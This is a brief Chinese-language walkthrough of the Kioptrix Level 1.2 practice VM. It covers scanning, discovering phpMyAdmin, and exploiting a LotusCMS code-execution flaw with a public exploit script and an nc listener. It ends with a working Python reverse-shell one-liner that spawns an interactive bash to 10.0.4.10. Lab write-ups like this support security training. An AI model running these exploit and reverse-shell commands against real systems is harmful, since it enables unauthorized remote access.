kioprtix level 1.2

存活探测+端口扫描

访问80

同时做一个目录扫描

发现

http://10.0.4.18/phpmyadmin/index.php

指纹识别

cms漏洞查找

测试代码执行，存在漏洞

反弹shell

github找到poc

git clone https://github.com/Hood3dRob1n/LotusCMS-Exploit

git clone https://github.com/Hood3dRob1n/LotusCMS-Exploit
cd LotusCMS-Exploit/
chmod 777 lotusRCE.sh
nc -lvp <port>
./lotusRCE.sh 10.0.4.18
<你的ip>
<刚才的port>
1

交互的会话,采用再次反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.4.10',5656));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"